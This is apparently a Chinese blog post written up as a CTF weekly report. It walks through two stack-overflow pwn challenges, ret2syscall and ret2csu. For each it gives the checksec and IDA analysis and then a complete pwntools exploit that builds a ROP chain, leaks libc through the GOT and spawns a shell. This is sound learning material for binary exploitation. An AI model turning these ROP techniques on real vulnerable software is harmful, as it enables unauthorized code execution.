随笔 - 0  文章 - 6  评论 - 4  阅读 - 188

周报

简单分享一下这周做的部分题目

sysacll

0x1

拿到题还是先查看保护措施,然后运行一遍。
image
可以看到是64位小端序的程序,开启了NX堆栈不可执行和部分RELRO,继续使用IDA进行反编译分析。
image

通过分析,没有发现后门函数,而且可以看到main函数非常简单,除去初始化的init函数,就只调用了一个vuln函数,进一步来分析这个vuln函数。
image
可以看到首先清空了字符数组s,然后有两个read函数来读取我们的输入,第一个read向.bss段写入数据,第二个read则是向s中写入数据;最后又清空了off_404018,我已经标注了,这个地址是got表,got表被清空,意味着这道题无法使用libc的方法来解决;开启了NX堆栈不可执行且没有改变内存权限的函数,所以shellcode的方法也不起作用,所以这道题可以考虑syscall。(虽然题目已经说了这是syscall,这里还是分析一下)
这道题没有禁用execve这个系统调用,而且又两个read函数,因此我们可以尝试通过execve这个系统调用来取得shell权限,进而取得flag。那么思路就非常明确,第一个read我们传入/bin/sh\x00,然后第二个read用来溢出和构造ROP链。
那么payload1如下:
payload1 = b"/bin/sh\x00"

然后先用ROPgatget来查看一下gatgets
image
操作rdi,rdx,rsi的gatgets都找到了,可是唯独没有控制rax的。但是要注意一点,read函是有int型的返回值的,而函数的返回值一般会存在rax中,我们可以通控制输入的字节数量来影响rax的值,进而达到目的。但是这也就限制了输入的长度,先来动态调试看一看。
通过动态调试,首先找到了需要填充0x28个垃圾数据才能到达返回值,并且又意外发现,函数的最后执行了sub rax 0x20
image
这就意味着我们一共有0x3B+0x20-0x28 = 0x33的字节来构造我们的ROP链,很显然这不够我们使用,我们来看一看寄存器的情况。
image
发现rdi和rdx已经是0了,那我们就只需要去控制rsi和rax的值就可以了。
那么payload2如下:
patyload2 = b'a'*0x28 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(syscall_addr) + b'a' *0x1b
于是完整的EXP如下:

点击查看代码
from pwn import *
if __name__ == '__main__':
    context.log_level = 'debug'
    context(log_level='debug', arch='amd64', os='linux')
    p = process('./ret2syscall.ret2syscall')
    payload1 = b"/bin/sh\x00"
    gdb.attach(p)
    padding = 0x28
    payload = b'a' * padding
    pop_rdi_ret_addr = 0x401363
    syscall_addr = 0x4012e6
    binsh_addr = 0x404090

    payload2 = b'a' * padding
    payload2 += p64(pop_rdi_ret_addr) + p64(binsh_addr)
    payload2 += p64(syscall_addr)
    payload2 += b'a' * 0x1b

    p.sendafter("First,what can of thing do you think is essential?", payload1)
    p.sendafter("What do you think of the importance of reading?", payload2)

    p.interactive()

ret2csu

0x2

拿到题还是先查看保护措施,然后运行一遍。
image
保护和上一道题一样,没什么说的。我们继续使用IDA反编译。
可以看到没有后门函数,main函数非常简单,仅仅调用了一个dofunc函数,我们来分析这个函数。
image
函数非常简单,read函数存在溢出(填充0x8+0x8个字节即可)。这道题没有清空got表,故可以考虑使用libc中的system函数来取得shell。先来查看可用的gadgets。
image
发现没有可以用来控制rdx的,我们进一步查看init函数中的gadgets。
image

发现init函数中我们通过控制r12,r13,r14,来改变rdi,rsi和rdx的值。而且代码中还有call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
因此我们可以通过设置特定寄存器的值来执行write函数泄露并且泄露其真实地址。call指令结束之后,会对rbx+1然后比较rbp和rbx的值,如果不为零就会跳转,这肯定是我们不想要的,因此我们需要设计rbx和rbp的值。之后程序会继续向下执行,因此我们还需要7*0x8个垃圾数据来填充栈。然后返回到main函数,再次构造溢出来执行system函数取得shell权限。
在payload1中,主要的栈应当这样去布置。
image
因此payload1如下:

点击查看代码
payload1 = b'a' * 0x10 + p64(csu_addr1)
payload1 += p64(0) + p64(1)#rbx rbp
payload1 += p64(1) + p64(write_got_addr) + p64(6)# r12 r13 r14
payload1 += p64(write_got_addr)#15
payload1 += p64(csu_addr2)#ret
payload1 += p64(0) + p64(0) + p64(0) +p64(0) + p64(0) + p64(0) + p64(0)
payload1 +=  p64(dofunc_addr)

下面我我们来构造payload2。
payload2只需要将/bin/sh\x00的地址存入rdi然后调用system函数即可,但是system函数需要栈对齐,因此我们找一个空的ret地址就可以了。
那么payload2如下:
payload2 = b'a' * 0x10 + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
因此,完整的EXP如下:

点击查看代码
from pwn import *

if __name__ == '__main__':
    context(log_level='debug', arch='amd64', os='linux')
    context.terminal = ['tmux', 'splitw', '-h']
    io = process('./pwn')
    elf = ELF('./pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	
    write_got_addr = elf.got['write']
    pop_rdi_ret_addr = 0x04011fb
    csu_addr1 = 0x4011F2
    csu_addr2 = 0x4011D8
    dofunc_addr = 0x401132

    gdb.attach(io)
    payload1 = b'a' * 0x10 + p64(csu_addr1)
    payload1 += p64(0) + p64(1)#rbx rbp
    payload1 += p64(1) + p64(write_got_addr) + p64(6)# r12 r13 r14
    payload1 += p64(write_got_addr)#15
    payload1 += p64(csu_addr2)#ret
    payload1 += p64(0) + p64(0) + p64(0) +p64(0) + p64(0) + p64(0) + p64(0)
    payload1 +=  p64(dofunc_addr)

    io.sendafter("input:" , payload1)
    print(io.recv(3))

    write_real_addr = u64(io.recv(6).ljust(8, b'\x00'))
    print('write_real_addr: ' , hex(write_real_addr))

    libc_base = write_real_addr - libc.symbols['write']
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
    ret_addr = 0x0401016
    print('libc_base: ' , hex(libc_base))
    print('system_addr: ' , hex(system_addr))
    print('binsh_addr: ' , hex(binsh_addr))

    payload2 = b'a' * 0x10 + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)

    io.sendafter("input:" , payload2)

    io.interactive()
[附件](https://wwyq.lanzouo.com/iWKKg2fb9ucf "附件")

2024-11-17 11:05:10 星期日

posted on   丶落雪  阅读(55)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示